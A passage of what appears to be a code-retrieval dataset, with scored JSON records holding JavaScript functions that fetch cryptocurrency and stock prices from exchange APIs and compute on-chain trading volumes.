')' + '.';\n chn.send(ans);\n}", "title": "" }, { "docid": "48c0ebb91cd797fb8865409cba7c4abb", "score": "0.603279", "text": "function profileGetMarketPrice(itemId, regionId, stationId, orderType, refresh)\n{\n var startTime = new Date().getTime();\n var price = getMarketPrice(itemId, regionId, stationId, orderType, refresh);\n var endTime = new Date().getTime();\n\n if (typeof(price) == 'number')\n {\n return endTime - startTime;\n }\n else\n {\n return price;\n }\n}", "title": "" }, { "docid": "2c399db2eb097b5515e63766d86b375e", "score": "0.60034055", "text": "getLTCPrices (date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=LTC&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "13091987d7088779f50072c4f2249e69", "score": "0.59917605", "text": "getBTCPrices (date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=BTC&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "dfa150efca8bd622dc2cb044a1a5078d", "score": "0.5990362", "text": "function getExchangeRate(from){\n return axios\n .get(`https://api.exchangeratesapi.io/latest?base=${from}`)\n .then(response => response.data.rates[\"SEK\"])\n .catch(error => console.log(error));\n}", "title": "" }, { "docid": "4a4445465a962309cdfb897813c02c00", "score": "0.59670275", "text": "async function getPriceKraken(coin1, coin2, chn) {\n \n let fail = false;\n let tickerJSON = '';\n if (typeof coin2 === 'undefined') {\n coin2 = 'BTC';\n }\n if (coin2.toLowerCase() === 'usd' || coin1.toLowerCase() === 'btc'){\n coin2 = 'USD';\n }\n tickerJSON = await clientKraken.fetchTicker(coin1.toUpperCase() + '/' + coin2.toUpperCase()).catch(function (rej) {\n console.log(chalk.red.bold('Kraken error: Ticker '\n + chalk.cyan(coin1.toUpperCase() + '/' + coin2.toUpperCase()) + ' not found!'));\n chn.send('API Error: Kraken does not have market symbol __' + coin1.toUpperCase() + '/' + coin2.toUpperCase() + '__');\n fail = true;\n });\n if (fail) {\n //exit the function if ticker didn't exist, or api failed to respond\n return;\n }\n let s = tickerJSON['last'];\n console.log(chalk.green('Kraken API ticker response: ' + chalk.cyan(s)));\n // Calculate % change from daily opening\n let c = tickerJSON['info'].o - s;\n c = (c / tickerJSON['info'].o) * 100;\n c = Math.round(c * 100) / 100;\n c = c * -1;\n\n let ans = '__Kraken__ Price for **' + coin1.toUpperCase() + '-' + coin2.toUpperCase() + '** is: `' + s + ' ' + coin2.toUpperCase() + '` ' + '(' + '`' + c + '%' + '`' + ')' + '.';\n chn.send(ans);\n}", "title": "" }, { "docid": "86bde5a92c5061712d1fd99b4e440040", "score": "0.59645647", "text": "async function market_price() {\n try {\n if (exchange.has['fetchTickers']) {\n log.bright.yellow(\"================ Market Price of ======================\");\n console.log(await (exchange.fetchTickers (symbols)))\n }\n else {\n console.log(exchange.id + ' does not have ' + symbols)\n }\n\n } catch (e) {\n\n if (e instanceof ccxt.DDoSProtection) {\n log.bright.yellow (exchange.id, '[DDoS Protection] ' + e.message)\n } else if (e instanceof ccxt.RequestTimeout) {\n log.bright.yellow (exchange.id, '[Request Timeout] ' + e.message)\n } else if (e instanceof ccxt.AuthenticationError) {\n log.bright.yellow (exchange.id, '[Authentication Error] ' + e.message)\n } else if (e instanceof ccxt.ExchangeNotAvailable) {\n log.bright.yellow (exchange.id, '[Exchange Not Available] ' + e.message)\n } else if (e instanceof ccxt.ExchangeError) {\n log.bright.yellow (exchange.id, '[Exchange Error] ' + e.message)\n } else if (e instanceof ccxt.NetworkError) {\n log.bright.yellow (exchange.id, '[Network Error] ' + e.message)\n } else {\n throw e\n }\n }\n}", "title": "" }, { "docid": "a04edff535fe6ff468c54e2b53ad5de2", "score": "0.59630746", "text": "getEntryPrice() {\n let contract = this.contract;\n return this.web3.eth.getAccounts().then( (accounts) => {\n return contract.methods.entryPrice().call({from: accounts[0]});\n });\n }", "title": "" }, { "docid": "cfe00383473e2366502fa9fab2c457f9", "score": "0.5941526", "text": "async function getCurveYTransactVol() {\n try {\n const tokenAddresses={};\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await curveY.getPastEvents('TokenExchangeUnderlying', { fromBlock: latest-10000, toBlock: latest});\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt);\n const { buyer, sold_id, tokens_sold } = evt.returnValues;\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) { \n const id = await instaList.methods.accountID(buyer).call();\n if(id!=0) {\n if(!tokenAddresses[sold_id]) \n tokenAddresses[sold_id] = await curveY.methods.underlying_coins(sold_id).call();\n const sold_token = tokenAddresses[sold_id];\n if(!tokenPricesInUSD[sold_token]) {\n if(sold_token==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[sold_token] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[sold_token] = await getExchangePrice(sold_token.toLowerCase(),'usd'); \n } \n const divFactor = tokenDecimals[sold_token]==undefined ? 18 : tokenDecimals[sold_token]\n volumeInUSD+=(tokens_sold/Math.pow(10,divFactor))*tokenPricesInUSD[sold_token];\n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "313bdc52ab02fb090da814abf4ca0c06", "score": "0.5929821", "text": "async function getCurrentStockPrice(symbol) {\n let apiToken = \"c1vjtst37jkpmefgjjvg\"; // Hard coded\n let url = \"https://finnhub.io/api/v1/quote?symbol=\" + symbol + \"&token=\" + apiToken;\n\n try {\n const response = await got(url);\n // console.log('DEBUG api response = ', response.body);\n let json = JSON.parse(response.body);\n // console.log('response.body c = ', json.c);\n\n return json.c;\n } catch (error) {\n console.log(error.response.body);\n }\n\n return null;\n}", "title": "" }, { "docid": "94b505950d548a81553885440929d56b", "score": "0.5910336", "text": "converisionRate(fsym = 'ETH', tsyms = 'USD') {\n return new Promise((resolve, reject) => {\n request(\n `${cryptoCompareEndPoint}data/price?fsym=${fsym}&tsyms=${tsyms}`,\n (err, _res, body) => {\n if (err) reject(err);\n resolve(JSON.parse(body));\n },\n );\n });\n }", "title": "" }, { "docid": "f8ad5167795d1f551c981a1e0f23054a", "score": "0.5909294", "text": "function fetchBtcPrice() {\n fetch('https://ftx.com/api/markets/BTC-PERP')\n .then(response => response.json())\n .then(data => {\n btcPrice = data.result.price;\n }).catch((error) => {\n console.log(error);\n });\n // recheck every 10 minutes\n setTimeout(fetchBtcPrice, 1000 * 60 * 10);\n}", "title": "" }, { "docid": "50aed3d44fc250b9078ee5bd26b0e8b9", "score": "0.5887699", "text": "function buyQuoteETH(amountETH, supplyNOM) {\n amountNet = amountETH * .99\n const supplyTop = a*(3*amountNet/a + supplyNOM**3/a**3)**(1/3)\n return (supplyTop - supplyNOM);\n}", "title": "" }, { "docid": "aa8cf8faff4f183e09c7d64513402177", "score": "0.5881563", "text": "getLTCPrices (date) {\n return axios.get('https://min-api.cryptocompare.com/data/pricehistorical?fsym=LTC&tsyms=USD&ts=' + date);\n }", "title": "" }, { "docid": "6857a9074cf4f9a0ded7382b1a0bd32c", "score": "0.5879489", "text": "function getPrice() {\n var obj = {};\n var url = 'https://api.coinmarketcap.com/v2/ticker/1/'\n $.getJSON(url, function (data) {\n obj.symbol = data.data.symbol;\n obj.price = data.data.quotes.USD.price;\n $('#symbol').html(symbol);\n $('#price').html(price);\n })\n return obj;\n }", "title": "" }, { "docid": "e39ec7f6736fff5660ec746e53a12fa0", "score": "0.58695257", "text": "async function getPricePolo(coin1, coin2, chn){\n\n let fail = false;\n let tickerJSON = '';\n if (typeof coin2 === 'undefined') {\n coin2 = 'BTC';\n }\n if (coin2.toLowerCase() === 'usd' || coin1.toLowerCase() === 'btc'){\n coin2 = 'USDT';\n }\n tickerJSON = await clientPoloniex.fetchTicker(coin1.toUpperCase() + '/' + coin2.toUpperCase()).catch(function (rej) {\n console.log(chalk.red.bold('Poloniex error: Ticker '\n + chalk.cyan(coin1.toUpperCase() + '/' + coin2.toUpperCase()) + ' not found!'));\n chn.send('API Error: Poloniex does not have market symbol __' + coin1.toUpperCase() + '/' + coin2.toUpperCase() + '__');\n fail = true;\n });\n if (fail) {\n //exit the function if ticker didn't exist, or api failed to respond\n return;\n }\n let s = parseFloat(tickerJSON['last']).toFixed(8);\n console.log(chalk.green('Poloniex API ticker response: ' + chalk.cyan(s)));\n let c = tickerJSON['info'].percentChange * 100;\n c = Math.round(c * 100) / 100;\n\n let ans = '__Poloniex__ Price for **' + coin1.toUpperCase() + '-' + coin2.toUpperCase() + '** is: `' + s + ' ' + coin2.toUpperCase() + '` ' + '(' + '`' + c + '%' + '`' + ')' + '.';\n chn.send(ans);\n}", "title": "" }, { "docid": "223cd4aee6a1321bd87fe8d984d7869a", "score": "0.58663327", "text": "async function getCurveSUSDTransactVol() {\n try {\n const tokenAddresses={};\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await curveSUsd.getPastEvents('TokenExchange', { fromBlock: latest-10000, toBlock: latest});\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt);\n const { buyer, sold_id, tokens_sold } = evt.returnValues;\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) { \n const id = await instaList.methods.accountID(buyer).call();\n if(id!=0) {\n if(!tokenAddresses[sold_id]) \n tokenAddresses[sold_id] = await curveSUsd.methods.coins(sold_id).call();\n const sold_token = tokenAddresses[sold_id];\n if(!tokenPricesInUSD[sold_token]) {\n if(sold_token==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[sold_token] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[sold_token] = await getExchangePrice(sold_token.toLowerCase(),'usd'); \n } \n const divFactor = tokenDecimals[sold_token]==undefined ? 18 : tokenDecimals[sold_token]\n volumeInUSD+=(tokens_sold/Math.pow(10,divFactor))*tokenPricesInUSD[sold_token];\n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "6b85d4c43d19b3dc8e85f4b2f6bb4a6d", "score": "0.5866245", "text": "async function getKyberTransactVol() {\n try {\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await kyberReserve.getPastEvents('TradeExecute', { fromBlock: latest-10000, toBlock: latest});\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt);\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) {\n const tx = await web3.eth.getTransaction(evt.transactionHash); \n const id = await instaList.methods.accountID(tx.to).call();\n if(id!=0) {\n // console.log(evt.returnValues);\n const {src:srcToken, srcAmount} = evt.returnValues;\n if(!tokenPricesInUSD[srcToken]) {\n if(srcToken==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[srcToken] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[srcToken] = await getExchangePrice(srcToken.toLowerCase(),'usd'); \n } \n const divFactor = tokenDecimals[srcToken]==undefined ? 18 : tokenDecimals[srcToken];\n volumeInUSD+=(srcAmount/Math.pow(10,divFactor))*tokenPricesInUSD[srcToken];\n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n \n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "5665b048edf4723321df904e4f9fee76", "score": "0.58597785", "text": "async function price() {\n const obj = await wallet.lcd.market.swapRate(new Terra.Coin('uluna', '1000000'), 'uusd');\n return parseFloat(obj.toData().amount) / DIVISOR;\n}", "title": "" }, { "docid": "8240eec4742b8ca3e35f39ce9b4b5695", "score": "0.5851224", "text": "getTickerByPrice(ticker) {\n const headers = {\n \"x-rapidapi-key\": this.secret,\n \"x-rapidapi-host\": \"twelve-data1.p.rapidapi.com\",\n };\n return axios_1.default.get(`https://${this.host}/price`, {\n headers,\n params: {\n symbol: ticker,\n format: 'json',\n outputsize: '1'\n }\n }).then(data => {\n this.logger.log(base_1.LogLevel.INFO, `${this.constructor.name}#getTickerByPrice = status: ${data.status} statusText: ${data.statusText} -- code: ${data.data.code} -- data: ${util_1.inspect(data.data)}`);\n if (data.data.hasOwnProperty('code') && data.data.code != 200) {\n return Promise.reject(new exceptions_1.UnrecoverableWorkerError(`ERROR: Failed to get current price for ${ticker}, MESSAGE: ${data.data.message}`));\n }\n return data.data.price;\n });\n }", "title": "" }, { "docid": "25d69180440d84979670dfd70280e4f8", "score": "0.583972", "text": "function getCryptoPrice() {\n axios.get(`https://min-api.cryptocompare.com/data/price?fsym=BTC&tsyms=USD,EUR&api_key=${coin_API_KEY}`).then(function(res) {\n console.log(res.data);\n btcPrice.innerText = res.data.USD;\n }) //gets btc price\n\n axios.get(`https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD,EUR&api_key=${coin_API_KEY}`).then(function(res1) {\n console.log(res1.data);\n ethPrice.innerText = res1.data.USD;\n }) //gets eth price\n\n}", "title": "" }, { "docid": "45b6bb2bdeabab6324cdbfcfba4d6d53", "score": "0.5833536", "text": "async function getCryptocurrencyPrice() {\n let cryptoService = new CryptoService(process.env.MICRO_API_TOKEN);\n let rsp = await cryptoService.price({\n symbol: \"BTCUSD\",\n });\n console.log(rsp);\n}", "title": "" }, { "docid": "941f47f15231d3d020127de27a867d3e", "score": "0.58309317", "text": "function getonebtcamount(then) {\n fetch(\"https:/api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd,gbp&include_24hr_change=true\")\n .then(response => response.json())\n .then(data => {\n \tbtcusd = data.bitcoin.usd;\n \tbtcgbp = data.bitcoin.gbp;\n btcusdchange = data.bitcoin.usd_24h_change;\n })\n .then(x => then());\n}", "title": "" }, { "docid": "d7a07a2eac187ec05d8387a7ea3ff988", "score": "0.5824898", "text": "async function getPriceCoinGecko(coin, coin2, chn) {\n coin = coin.toLowerCase() + \"\";\n //default to usd if no comparison is provided\n if(typeof coin2 === 'undefined'){\n coin2 = 'usd';\n }\n coin2 = coin2.toLowerCase() + \"\";\n if (!coin2.includes('usd') && !coin2.includes('btc') && !coin2.includes('eur')){\n coin2 = 'usd';\n }\n //find out the ID for coin requested\n let found = false;\n let coinID = \"\";\n for (let i = 0, len = pairs_CG.length; i < len; i++) {\n if(pairs_CG[i].symbol === coin){\n coinID = pairs_CG[i].id;\n found = true;\n break;\n }\n }\n if(found){\n let data = await CoinGeckoClient.simple.price( {\n ids: [coinID],\n vs_currencies: ['usd', 'btc', 'eur'],\n include_24hr_vol : [true],\n include_24hr_change : [true]\n }); \n \n let s = parseFloat(data[\"data\"][coinID][coin2]).toFixed(8);\n let c = Math.round(data[\"data\"][coinID][coin2.toLowerCase() + \"_24h_change\"] * 100) / 100;\n \n chn.send(\"__CoinGecko__ Price for **\" + coin.toUpperCase() + \"-\" + coin2.toUpperCase() + \"** is: `\" + s + \" \" + coin2.toUpperCase() + \"` (`\" + c + \"%`).\");\n console.log(chalk.green('CoinGecko API ticker response: ' + chalk.cyan(s)));\n }\n else{\n chn.send(\"Ticker **\" + coin + \"** not found!\");\n }\n}", "title": "" }, { "docid": "8e04c20832dd14f26a577f0ad3a71c25", "score": "0.58154416", "text": "function getCurrencyPrice(code) {\n var cryptocompareResponse = CryptocompareClient.getCurrentPrice(['USD'], [code]);\n console.log({msg: 'Cryptocompare client response', data: cryptocompareResponse});\n return CryptocompareClient.getCurrentPrice(['USD'], [code]).USD[code];\n}", "title": "" }, { "docid": "33ff5f1249a76c2f28ba180bed2acc27", "score": "0.5778076", "text": "async function getPriceBitfinex(coin1, coin2, chn){\n\n let fail = false;\n let tickerJSON = '';\n if (typeof coin2 === 'undefined') {\n coin2 = 'BTC';\n }\n if (coin2.toLowerCase() === 'usd' || coin1.toLowerCase() === 'btc'){\n coin2 = 'USDT';\n }\n tickerJSON = await clientBitfinex.fetchTicker(coin1.toUpperCase() + '/' + coin2.toUpperCase()).catch(function (rej) {\n console.log(chalk.red.bold('Bitfinex error: Ticker '\n + chalk.cyan(coin1.toUpperCase() + '/' + coin2.toUpperCase()) + ' not found!'));\n chn.send('API Error: Bitfinex does not have market symbol __' + coin1.toUpperCase() + '/' + coin2.toUpperCase() + '__');\n fail = true;\n });\n if (fail) {\n //exit the function if ticker didn't exist, or api failed to respond\n return;\n }\n //console.log(tickerJSON);\n let s = parseFloat(tickerJSON['last']).toFixed(6);\n if (coin2.toUpperCase() === 'BTC'){\n s = parseFloat(tickerJSON['last']).toFixed(8);\n }\n console.log(chalk.green('Bitfinex API ticker response: ' + chalk.cyan(s)));\n let c = tickerJSON['percentage'] * 100;\n c = Math.round(c * 100) / 100;\n\n if(coin2.toUpperCase() === 'USDT'){\n coin2 = 'USD';\n }\n \n let ans = '__Bitfinex__ Price for **' + coin1.toUpperCase() + '-' + coin2.toUpperCase() + '** is: `' + s + ' ' + coin2.toUpperCase() + '` ' + '(' + '`' + c + '%' + '`' + ')' + '.';\n chn.send(ans);\n}", "title": "" }, { "docid": "2b1b0ed1752a931d6045ace40408ca87", "score": "0.5773758", "text": "function coinPrice() {\n fetch('https://api.coingecko.com/api/v3/coins/markets?vs_currency=USD&ids=bitcoin%2C%20')\n .then(function (response) {\n if(!response.ok) {\n throw Error(\"ERROR\");\n }\n return response.json();\n })\n .then(function (data) {\n console.log(data);\n if(data.length > 0) {\n let htmlString = \"\";\n\n data.forEach((u) => {\n let exchangeRate = 500;\n let setPrice = u.current_price * exchangeRate;\n htmlString += `Rate: 1btc = ${u.current_price} which is ${setPrice}`; \n })\n document.getElementById(\"market-rate\").textContent = htmlString;\n }\n })\n .catch(function (error) {\n console.log(error);\n })\n\n}", "title": "" }, { "docid": "9fcb44f48754b8f3a90e3a00d6f5cbd6", "score": "0.5772499", "text": "function price_currency(__ccxt, __symbol) {\r\n (async() => {\r\n let prices = await __ccxt.fetchTicker(__symbol);\r\n console.log(__symbol + ':');\r\n console.log(prices);\r\n })();\r\n}", "title": "" }, { "docid": "119fc9403c18717191d40da4e4b2d9ce", "score": "0.5752671", "text": "async function getOasisTransactVol() {\n try {\n let volumeInUSD=0;\n const latest = await web3.eth.getBlockNumber();\n const result = await oasisDex.getPastEvents('LogTrade', { fromBlock: latest-10000, toBlock: latest});\n const now = new Date().valueOf();\n const yesterday = now - (24*60*60*1000);\n for(const evt of result) {\n // console.log(evt.returnValues);\n const block = await web3.eth.getBlock(evt.blockHash);\n const blockDate = block.timestamp*1000; \n // console.log(new Date(blockDate)); \n if(blockDate>=yesterday && blockDate<=now) {\n const tx = await web3.eth.getTransaction(evt.transactionHash); \n const id = await instaList.methods.accountID(tx.to).call();\n if(id!=0) {\n const {pay_amt, pay_gem} = evt.returnValues;\n if(!tokenPricesInUSD[pay_gem]) {\n if(pay_gem==='0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE')\n tokenPricesInUSD[pay_gem] = await getEthPriceInUSD();\n else\n tokenPricesInUSD[pay_gem] = await getExchangePrice(pay_gem.toLowerCase(),'usd'); \n }\n const divFactor = tokenDecimals[pay_gem]==undefined ? 18 : tokenDecimals[pay_gem]\n volumeInUSD+=(pay_amt/Math.pow(10,divFactor))*tokenPricesInUSD[pay_gem]; \n }\n }\n }\n const ethPriceInUSD = tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] ? tokenPricesInUSD['0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE'] : await getEthPriceInUSD();\n const volumeInEth=volumeInUSD/ethPriceInUSD;\n // console.log({usd:volumeInUSD, eth:volumeInEth});\n return { usd: volumeInUSD, eth: volumeInEth };\n }\n catch(err) {\n console.log(err);\n }\n}", "title": "" }, { "docid": "ca54f0304bce7aeca19464386febbf76", "score": "0.5740178", "text": "function currentPrice() {\n var queryURL = \"http://api.bitcoincharts.com/v1/markets.json\";\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var results = response;\n\n var obj = JSON.parse(results);\n console.log(obj);\n\n // Printing the entire object to console\n var ask = obj[\"57\"][\"ask\"];\n var bid = obj[\"57\"][\"bid\"];\n var exchange = obj[\"57\"][\"symbol\"];\n\n // Constructing HTML containing the artist information\n $bitAsk.html(exchange + \" Asking Price: $\" + ask + \"<br>\");\n $bitBid.html(exchange + \" Current Bid: $\" + bid);\n });\n }", "title": "" }, { "docid": "e3887aa84044ad5c3e9f785f9d3d3f1e", "score": "0.57362753", "text": "async function fetchTotalEtherSupply()\n {\n let url = 'https://api.etherscan.io/api?module=stats&action=ethsupply&apikey=YourApiKeyToken'\n let response = await fetch(url)\n let etherData = await response.json()\n // console.log(etherData.result)\n const totalEther = parseInt(etherData.result) / 1000000000000000000\n // console.log(totalEther)\n const marketCap = ((totalEther * parseInt(ethusd)) / 1000000000).toFixed(3)\n // console.log(marketCap)\n const marketCapString = ` $${marketCap} BILLION`\n // console.log(marketCapString)\n print(marketCapString,\"marketCap\")\n }", "title": "" }, { "docid": "02c006596350b807bc87335578df8e87", "score": "0.5730748", "text": "function getCurrentStockPrice() {\n return 100;\n}", "title": "" }, { "docid": "073c188a527f801fd562e6a3def43b55", "score": "0.5729147", "text": "function getPrice(tokenId) {\n\treturn COUNTRY_PRICE_DATA[tokenId - 1];\n}", "title": "" }, { "docid": "59291a834012738e874f4371e15ada32", "score": "0.57059556", "text": "function updatePrice() {\r\n \r\n document.getElementById(\"btcPriceCurrency\").innerHTML = currency;\r\n \r\n let btcUsdHigh = json.result.TBTCUSD.a[0];\r\n let btcUsdlow = json.result.TBTCUSD.b[0];\r\n let usdGbp = json.result.USDTGBP.a[0];\r\n let usdEur = json.result.USDTEUR.a[0];\r\n \r\n let btcGbpHigh = btcUsdHigh * usdGbp;\r\n let btcGbpLow = btcUsdlow * usdGbp;\r\n let btcEurHigh = btcUsdHigh * usdEur;\r\n let btcEurLow = btcUsdlow * usdEur;\r\n \r\n let elBtcHigh = document.getElementById(\"btcPriceHigh\");\r\n let elBtcLow = document.getElementById(\"btcPriceLow\");\r\n let price = \"\";\r\n switch (currency) {\r\n case \"£\":\r\n elBtcHigh.innerHTML = addCentComma(btcGbpHigh.toFixed(2));\r\n elBtcLow.innerHTML = addCentComma(btcGbpLow.toFixed(2));\r\n break;\r\n case \"$\":\r\n elBtcHigh.innerHTML = addCentComma(parseInt(btcUsdHigh).toFixed(2));\r\n elBtcLow.innerHTML = addCentComma(parseInt(btcUsdlow).toFixed(2));\r\n break;\r\n case \"€\":\r\n elBtcHigh.innerHTML = addCentComma(btcEurHigh.toFixed(2));\r\n elBtcLow.innerHTML = addCentComma(btcEurLow.toFixed(2));\r\n break;\r\n }\r\n}", "title": "" }, { "docid": "5abe99a795bee96985725ca99e049d3c", "score": "0.56995624", "text": "function getCrossRateTCMBDataSelling(index,max,date,currencyFrom,currencyTo,_callback){\n var contract = web3js.eth.contract(abi,function(error, result){\n if(!error) {\n //\n }else {\n console.error(error);\n }\n }).at(contractaddress);\n\n var currencyFromHex = convertToHex( currencyFrom);\n var currencyToHex = convertToHex( currencyTo);\n exchangeRate = contract.convert_x_to_y_tcmb_forexselling(parseInt(date), currencyFromHex, currencyToHex, function(error_2, result_2){\n if(!error_2) {\n completed++;\n var exchangeRate = parseInt(result_2)/1e9;\n values[index] = exchangeRate;\n _callback(exchangeRate);\n if(completed == max){\n for(var j = 0;j<values.length;j++){\n if( values[j] <= 0){continue;}\n document.getElementById(\"resultLabel\").value = document.getElementById(\"resultLabel\").value + names[j] + \": \" + values[j] + \"\\n\";\n }\n }\n } else {\n console.error(error_2);\n }\n });\n }", "title": "" }, { "docid": "71417ad1569936997babbce15873cbe7", "score": "0.5697895", "text": "async function getPriceCoinbase(chn, coin1, coin2){\n\n let fail = false;\n let tickerJSON = '';\n if (typeof coin2 === 'undefined') {\n coin2 = 'BTC';\n }\n if (coin2.toLowerCase() === 'usd' || coin1.toLowerCase() === 'btc'){\n coin2 = 'USD';\n }\n tickerJSON = await clientCoinbase.fetchTicker(coin1.toUpperCase() + '/' + coin2.toUpperCase()).catch(function (rej) {\n console.log(chalk.red.bold('Coinbase error: Ticker '\n + chalk.cyan(coin1.toUpperCase() + '/' + coin2.toUpperCase()) + ' not found!'));\n chn.send('API Error: Coinbase does not have market symbol __' + coin1.toUpperCase() + '/' + coin2.toUpperCase() + '__');\n fail = true;\n });\n if (fail) {\n //exit the function if ticker didn't exist, or api failed to respond\n return;\n }\n //console.log(tickerJSON);\n let s = parseFloat(tickerJSON['last']).toFixed(8);\n console.log(chalk.green('Coinbase API ticker response: ' + chalk.cyan(s)));\n let c = tickerJSON['info'].priceChangePercent;\n c = Math.round(c * 100) / 100;\n\n let ans = '__Coinbase__ Price for **' + coin1.toUpperCase() + '-' + coin2.toUpperCase() + '** is: `' + s + ' ' + coin2.toUpperCase() + '` .';// + '(' + '`' + c + '%' + '`' + ')' + '.';\n chn.send(ans);\n}", "title": "" }, { "docid": "002969ef6804fe7c7c7ab2e54eef9f0e", "score": "0.56886756", "text": "function getPrice(_stockName, _timeslot) {\n return JSON.parse(storageLoad(makeKey(_stockName, _timeslot)));\n}", "title": "" }, { "docid": "372a2e1c916e62067272c8c0fb648ea6", "score": "0.5687262", "text": "function getPrice(data, url){\n\t\t$.ajax({\n\t\t\ttype: 'GET',\n\t\t\turl: url,\n\t\t\tdataType: 'JSON',\n\t\t\tsuccess: function(response){\n\t\t\t\t//this is how I can get 1 price\n\t\t\t\t//console.log(response.data);\n\n\t\t\t\t//this is how we loop it to get all prices\n\n\t\t\t\tconsole.log(response.data)\n\n\t\t\t\t$(response.data).each(function(){\n\t\t\t\t\tthis;\n\t\t\t\t\t// debugger\n\t\t\t\t\t//collect each data point\n\t\t\t\t\tconsole.log(this[0]);\n\t\t\t\t\tconsole.log(this[1]);\n\n\t\t\t\t\t// converToDate()\n\n\t\t\t\t\tvar dataPoint = {}\n\t\t\t\t\tdataPoint.y = this[1];\n\t\t\t\t\tdataPoint.x = convertToDate( this[0] );\n\t\t\t\t\t\t// debugger\n\n\t\t\t\t\t//and each data point to the ata array\n\t\t\t\t\tdata.push(dataPoint)\n\t\t\t\t})\n\n\t\t\t\t//print out data\n\t\t\t\tconsole.log(data);\n\n\t\t\t\t//Initialize HighChart\n\t\t\t\tinitializeHighChart();\n\t\t\t},\n\t\t\terror: function() {\n\t\t\t\talert(\"Cannot connect!\");\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "015b2481a0fd02c2f4f1bf2b394a3059", "score": "0.56859094", "text": "async function getPricesUSD() {\n\tconst url = \"https://explorer.thetatoken.org:9000/api/price/all\";\n const result = await fetch(url)\n .then(checkStatus)\n .then(response => response.text())\n .then(JSON.parse);\n return result;\n}", "title": "" }, { "docid": "4e5a49bee9f2baa986a418b14f825598", "score": "0.56590444", "text": "async function KuCoinGetTicker(symbol) {\n\ttry {\n\t\tlet r = await api.getTicker(symbol);\n\t\tif (symbol === \"BTC-USDT\") {\n\t\t\tvar bit_bid_price = parseFloat(\n\t\t\t\tparseFloat(r.data.bestBid).toFixed(2)\n\t\t\t);\n\t\t\tvar bit_ask_price = parseFloat(\n\t\t\t\tparseFloat(r.data.bestAsk).toFixed(2)\n\t\t\t);\n\t\t\tbitcoin_prices[\"KuCoin_bidPrice\"] = bit_bid_price;\n\t\t\tbitcoin_prices[\"KuCoin_askPrice\"] = bit_ask_price;\n\t\t} else if (symbol === \"ETH-USDT\") {\n\t\t\tvar eth_bid_price = parseFloat(\n\t\t\t\tparseFloat(r.data.bestBid).toFixed(2)\n\t\t\t);\n\t\t\tvar eth_ask_price = parseFloat(\n\t\t\t\tparseFloat(r.data.bestAsk).toFixed(2)\n\t\t\t);\n\t\t\tethereum_prices[\"KuCoin_bidPrice\"] = eth_bid_price;\n\t\t\tethereum_prices[\"KuCoin_askPrice\"] = eth_ask_price;\n\t\t}\n\t} catch (err) {\n\t\tconsole.log(err);\n\t}\n}", "title": "" }, { "docid": "647a0ec5463804ac2dcd866d0f36c3a2", "score": "0.56578624", "text": "function getPrice(p, tx){\n\tvar s = \"$\";\n\tif(tx) s+= p.toFixed(0);\n\telse s += (p*.905).toFixed(2);\n\treturn s;\n}", "title": 